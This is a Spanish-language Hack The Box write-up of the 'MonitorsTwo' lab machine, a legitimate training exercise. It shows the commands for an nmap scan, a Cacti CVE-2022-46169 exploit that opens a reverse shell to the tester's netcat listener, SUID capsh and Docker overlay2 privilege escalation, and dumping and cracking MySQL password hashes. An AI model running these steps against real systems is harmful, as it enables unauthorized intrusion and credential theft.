MONITORS TWO WRITEUP.
Resolución de la máquina monitors two de Hack The Box.
Información:
SO: | Linux |
---|---|
Dificultad: | Easy |
Puntos: | 20 |
Fecha de salida: | 12-08-2023 |
Hola, el día de hoy vamos a resolver la maquina de monitors two de HTB.
Primero realizaremos un escaneo de reconocimiento con NMAP.
Reconocimiento
1
sudo nmap -Pn -p- -A -T4 -oN scan.txt 10.10.11.211
Obtenemos el resultado del escaneo:
Observamos que existen dos puertos abiertos, el 22 que corresponde al servicio de SSH y el 80 que corresponde al servicio de HTTP. Revisamos el puerto 80 a través del navegador.
Observamos que es un login de Cacti, un software para el monitoreo de red. Probamos contraseñas que están por defecto sin tener éxito. Sin embargo podemos buscar CVE para la versión 1.2.22 de cacti, misma que nos muestra en el login.
RCE / Reverse Shell
Después de una búsqueda encontramos una CVE para la versión 1.2.22.
Buscando encontre el siguiente script que nos ayuda con la RCE y nos brinda una reverse shell.
Utilizare Netcat con los siguientes flags -n para que no haga resolucion de dns, -l para estar a la escucha, -v de verbose y -p que indica el puerto, en este caso 443:
1
sudo nc -nlvp 443
Utilizando el script para la RCE podremos obtener la reverse shell.
1
python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST 10.10.16.79 --LPORT=443
Ahora obtenemos la reverse shell a través del puerto 443.
Escalada de privilegios
Utilizaremos esta herramienta para enumerar los binarios SUID.
Crearemos un servidor web para poder acceder al recurso.
Obtenemos el recurso con wget.
Le damos permisos de ejecucion.
1
chmod +x LinEnum.sh
Una vez ejecutado el script nos listara los archivos SUID, nos interesa el archivo /sbin/capsh
. ¿Por que nos interesa este archivo? Principalmente por que no pierde privilegios heredados, por que lo que puede funcionar nos como puerta trasera. Mas sobre este archivo:
Nos dirigimos a la ruta /sbin
donde se encuentra el archivo capsh y ejecutaremos el siguiente comando para poder escalar privilegios.
1
./capsh --gid=0 --uid=0 --
Obteniendo credenciales
Observamos que mysql esta dentro del contenedor, utilizamos el siguiente comando para listar a los usuarios root.
1
mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"
Vemos que existe un usuario marcus
y nos da un hash del password del usuario.
Cracking Hash Password
Utilizaremos john the ripper para encontrar una coincidencia con un diccionario.
Vemos que ha encontrado una posible coincidencia.
Logeandose por ssh
Intentaremos acceder por ssh introduciendo las credenciales del usuario marcus.
Y listo, tenemos acceso desde el usuario marcus
.
Escalando privilegios
Listaremos la version de docker que se esta utilizando.
Vemos que es la version 20.10.5+dfsg1
, buscaremos alguna CVE que pueda ayudarnos con la escalada de privilegios. Después de una busqueda encontre un script que nos ayuda con esta CVE.
Para poder usar este script necesitamos volver al contenedor y asignar a /bin/bash permisos de suid.
Exponemos el recurso con un servidor web como lo hicimos anteriormente.
Le damos permisos de ejecucion para poder utilizarlo.
Despues de la ejecucion vemos que nos arroja un path:
/var/lib/docker/overlay2/c41d5854e4bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
.
Nos dirigimos a ese directorio y ejecutamos el siguiente comando para obtener la shell en root.
1
./bin/bash -p
Y listo, ahora somos root.
Eso ha sido todo por el post, si piensas que me he equivocado en la informacion o en que he omitido algo que pueda mejorar el post, puedes contactarme por discord quantumwavves